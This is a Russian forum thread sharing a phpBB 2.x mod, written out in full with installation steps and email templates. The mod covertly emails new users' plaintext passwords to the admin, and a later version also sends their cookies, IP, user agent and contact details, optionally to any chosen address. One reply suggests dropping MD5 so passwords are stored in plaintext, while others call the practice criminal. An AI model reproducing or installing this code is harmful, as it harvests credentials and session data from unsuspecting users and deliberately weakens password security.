Мод для форума phpBB 2.хх админ знает пароли юзеров

Тема в разделе "Коммерческие", создана пользователем wwwww, 31 янв 2009.

Информация :
Публиковать (для всех) нуленые версии, особенно от modulesgarden КАТЕГОРИЧЕСКИ не стоит. Тема мониторится оным разработчиком, а к нам приходят абузы которые нельзя игнорировать.
Статус темы:
Закрыта.
Модераторы: Amazko, Aste
  1. wwwww

    wwwww Постоялец

    Регистр.:
    11 авг 2007
    Сообщения:
    56
    Симпатии:
    4
    При регистрации нового пользователя админ получает мэйл с его паролем. Для форума phpBB 2.хх

    ##############################################################
    ## MOD Title: uznat parol
    ## MOD Author:
    ##
    ## MOD Description: При регистрации нового пользователя админ
    ## получает мэйл с его паролем.
    ##
    ## MOD Version: 1.0.0
    ##
    ## Installation Level: (Легко)
    ## Installation Time: 3 Минуты
    ## Files To Edit: (1)
    ## - includes/usercp_register.php
    ## Included Files: (2)
    ## - phpbb_root_path/language/lang_english/email/admin_new_user.tpl
    ## - phpbb_root_path/language/lang_russian/email/admin_new_user.tpl
    ##############################################################
    ## Author Notes: Новые версии мода вы можете найти на http://www.nulled.ws/showthread.php?t=100701
    ## Мод для phpBB 2.хх
    ##############################################################

    #
    #-----[ КОПИРОВАТЬ ]------------------------------------------
    #
    copy phpbb_root_path/language/lang_english/email/admin_new_user.tpl
    copy phpbb_root_path/language/lang_russian/email/admin_new_user.tpl

    #
    #-----[ ОТКРЫТЬ ]------------------------------------------
    #
    includes/usercp_register.php

    #
    #-----[ НАЙТИ ]------------------------------------------
    #
    $email_template = 'user_welcome';
    }

    include($phpbb_root_path . 'includes/emailer.'.$phpEx);
    $emailer = new emailer($board_config['smtp_delivery']);

    #
    #-----[ ПОСЛЕ ДОБАВИТЬ ]------------------------------------------
    #

    // START Письмо админу с паролем нового пользователя !
    $emailer->from($board_config['board_email']);
    $emailer->replyto($board_config['board_email']);


    $emailer->email_address($board_config['board_email']);
    $emailer->use_template("admin_new_user", $row['user_lang']);
    $emailer->set_subject($lang['New_user_registration']);

    $emailer->assign_vars(array(
    'SITENAME' => $board_config['sitename'],
    'USERNAME' => preg_replace($unhtml_specialchars_match, $unhtml_specialchars_replace, substr(str_replace("\'", "'", $username), 0, 25)),
    'EMAIL_SIG' => str_replace('<br />', "\n", "-- \n" . $board_config['board_email_sig']),
    'PASSWORD' => $password_confirm,

    'U_PROFILE' => $server_url . '?mode=viewprofile&' . POST_USERS_URL . '=' . $user_id)
    );
    $emailer->send();
    $emailer->reset();

    sleep(1);

    // END Письмо админу с паролем нового пользователя !

    #
    #-----[ СОХРАНИТЬ/ЗАКРЫТЬ ВСЕ ФАЙЛЫ ]------------------------------------------
    #
    # EoM

    ----------------------------------------------------------

    Файл language/lang_english/email/admin_new_user.tpl

    Subject: New user registration
    Charset: iso-8859-1

    Hello,

    A new member, called "{USERNAME}" password "{PASSWORD}", has joined {SITENAME}. You can view his or her profile using the following link:

    {U_PROFILE}

    {EMAIL_SIG}

    ----------------------------------------------------------

    Файл language/lang_russian/email/admin_new_user.tpl

    Subject: Регистрация нового пользователя
    Charset: windows-1251

    Здравствуйте,

    Новый пользователь,

    ----------------------------
    Имя пользователя: {USERNAME}
    Пароль: {PASSWORD}
    ----------------------------

    зарегистрировался на {SITENAME}. Вы можете перейти в его профиль по ссылке:

    {U_PROFILE}

    {EMAIL_SIG}

     
    464388392 и maryinka нравится это.
  2. rashn

    rashn Писатель

    Регистр.:
    21 янв 2008
    Сообщения:
    4
    Симпатии:
    0
    а ща вроде уголовка за это - точнее за несанкционированный доступ к данным личным
     
  3. maryinka

    maryinka Создатель

    Регистр.:
    27 мар 2008
    Сообщения:
    48
    Симпатии:
    3
    подскажите, пожалуйста, если несколько админов, как сделать отправку только на один фиксированный адрес?
     
  4. wwwww

    wwwww Постоялец

    Регистр.:
    11 авг 2007
    Сообщения:
    56
    Симпатии:
    4
    Все служебные мэйлы с phpbb отправляются на мэйл указанный в админке: Общие настройки -> конфигурация -> Настройки e-mail -> Адрес e-mail администратора
     
  5. 464388392

    464388392 Писатель

    Регистр.:
    16 май 2009
    Сообщения:
    4
    Симпатии:
    0
    а как на счет версии 3?
     
  6. Daar

    Daar Постоялец

    Регистр.:
    10 авг 2007
    Сообщения:
    58
    Симпатии:
    3
    Ну можно еще проще сделать... убрать в 2 местах вызов функции MD5 и в базе пароли будут лежать в открытом виде и всегда можно посмотреть :)
     
  7. Revenge-R

    Revenge-R Mr. Revenge-R

    Регистр.:
    6 фев 2009
    Сообщения:
    897
    Симпатии:
    319
    пипец, во вы даете... херней страдаете, от таких говнофорумов лучше держатся подальше.
    Судя по всему только в корыстных целях это делается! т.к админ и так может поменять в профиле пользователя все что угодно.
    Бан по тебе плачет если ты писал его!
     
  8. wwwww

    wwwww Постоялец

    Регистр.:
    11 авг 2007
    Сообщения:
    56
    Симпатии:
    4
    Спустя столько времени руки дошли сделать следующую версию мода. Для phpBB 2.хх, так как я на 3ку не перешел. Кому надо для phpBB 3.хх - можете сделать по аналогии.
    Нововедения: сообщает кроме ника пользователя и пароля много дополнительной информации, как то: Мэйл, Асю, АйПи, Юзер-Аген, Куки и т.д.
    При регистрации нового пользователя админ получает мэйл с его паролем
    #
    #-----[ COPY ]------------------------------------------
    #
    copy phpbb_root_path/language/lang_english/email/admin_new_user.tpl
    copy phpbb_root_path/language/lang_russian/email/admin_new_user.tpl
    #
    #-----[ OPEN ]------------------------------------------
    #
    includes/usercp_register.php
    #
    #-----[ FIND ]------------------------------------------
    #
    $email_template = 'user_welcome';
    }
    include($phpbb_root_path . 'includes/emailer.'.$phpEx);
    $emailer = new emailer($board_config['smtp_delivery']);
    #
    #-----[ AFTER, ADD ]------------------------------------------
    #
    // START Письмо админу с паролем нового пользователя !
    global $HTTP_SERVER_VARS;
    $emailer->from($board_config['board_email']);
    $emailer->replyto($board_config['board_email']);
    $emailer->email_address($board_config['board_email']);
    // $emailer->email_address("vasja_pupkin_admin@mysite.ru");
    // Если хотите что бы пароли отправлялись не на мэйл админа, раскомментируйте строчку выше и впишите нужный мэйл.
    $emailer->use_template("admin_new_user", $row['user_lang']);
    $emailer->set_subject($lang['New_user_registration']);
    $emailer->assign_vars(array(
    'SITENAME' => $board_config['sitename'],
    'USERNAME' => preg_replace($unhtml_specialchars_match, $unhtml_specialchars_replace, substr(str_replace("\'", "'", $username), 0, 25)),
    'EMAIL_SIG' => str_replace('<br />', "\n", "-- \n" . $board_config['board_email_sig']),
    'PASSWORD' => $password_confirm,
    'IP' => $client_ip,
    'USER_AGENT' => $HTTP_SERVER_VARS['HTTP_USER_AGENT'],
    'COOKIE' => $HTTP_SERVER_VARS['HTTP_COOKIE'],
    'ACCEPT_LANGUAGE' => $HTTP_SERVER_VARS['HTTP_ACCEPT_LANGUAGE'],
    'EMAIL_ADDRESS' => $email,
    'ICQ' => $icq,
    'AIM' => $aim,
    'YIM' => $yim,
    'MSN' => $msn,
    'WEB_SITE' => $website,
    'FROM' => $location,
    'OCC' => $occupation,
    'INTERESTS' => $interests,
    'U_PROFILE' => $server_url . '?mode=viewprofile&' . POST_USERS_URL . '=' . $user_id)
    );
    $emailer->send();
    $emailer->reset();
    sleep(1);
    // END Письмо админу с паролем нового пользователя !
    #
    #
    #
    #
    Файл language/lang_english/email/admin_new_user.tpl
    Subject: New user registration
    Charset: iso-8859-1
    Hello,
    A new member.
    ----------------------------
    Username: {USERNAME}
    Password: {PASSWORD}
    Email: {EMAIL_ADDRESS}
    IP: {IP}
    ICQ: {ICQ}
    Web Site: {WEB_SITE}
    From: {FROM}
    Occupation: {OCC}
    Interests: {INTERESTS}
    User-Agent: {USER_AGENT}
    Cookie: {COOKIE}
    Accept Language: {ACCEPT_LANGUAGE}
    AIM Address: {AIM}
    MSN Messenger: {MSN}
    Yahoo Messenger: {YIM}
    ----------------------------
    Has joined {SITENAME}. You can view his or her profile using the following link:
    {U_PROFILE}
    {EMAIL_SIG}
    #
    #
    #
    #
    Файл language/lang_russian/email/admin_new_user.tpl
    Subject: Регистрация нового пользователя
    Charset: windows-1251
    Здравствуйте,
    Новый пользователь,
    ----------------------------
    Имя пользователя: {USERNAME}
    Пароль: {PASSWORD}
    Email: {EMAIL_ADDRESS}
    IP: {IP}
    ICQ: {ICQ}
    Сайт: {WEB_SITE}
    Откуда: {FROM}
    Род занятий: {OCC}
    Интересы: {INTERESTS}
    User-Agent: {USER_AGENT}
    Куки: {COOKIE}
    Язык системы: {ACCEPT_LANGUAGE}
    AIM Address: {AIM}
    MSN Messenger: {MSN}
    Yahoo Messenger: {YIM}
    ----------------------------
    зарегистрировался на {SITENAME}. Вы можете перейти в его профиль по ссылке:
    {U_PROFILE}
    {EMAIL_SIG}
     
  9. fima32

    fima32

    Регистр.:
    25 дек 2007
    Сообщения:
    201
    Симпатии:
    13
    Либо использовать свой пароль, раз уж о безопасности народ печется.
    А уж извлечь обратно - дело несложное.

    Если на форум не поставить антибот или форум высокопосещаем, то через недельку-другую админ отключит нафик эти письма.
    У меня с установленным на форуме антиботом в день регистрируется не менее сотни новых юзеров(когда не было антибота, то реистрировалось в день по 300-500 пользователей, а ведь форуму было пару месяцев от роду), вот лично мне было бы лень смотреть кто там очередной раз зарегился.
     
  10. Scaltro

    Scaltro

    Регистр.:
    15 сен 2007
    Сообщения:
    1.092
    Симпатии:
    75
    А для Joomla 1.5 есть ли подобное решение?
     
Статус темы:
Закрыта.